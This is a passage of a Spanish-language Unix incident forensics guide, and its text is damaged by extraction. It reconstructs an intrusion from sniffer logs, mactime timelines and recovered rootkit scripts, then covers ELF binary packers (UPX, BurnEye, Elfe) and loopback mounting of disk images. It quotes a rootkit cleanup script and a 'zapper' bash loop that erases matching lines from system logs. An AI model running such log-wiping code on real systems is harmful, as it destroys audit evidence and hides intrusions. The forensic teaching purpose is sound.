pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

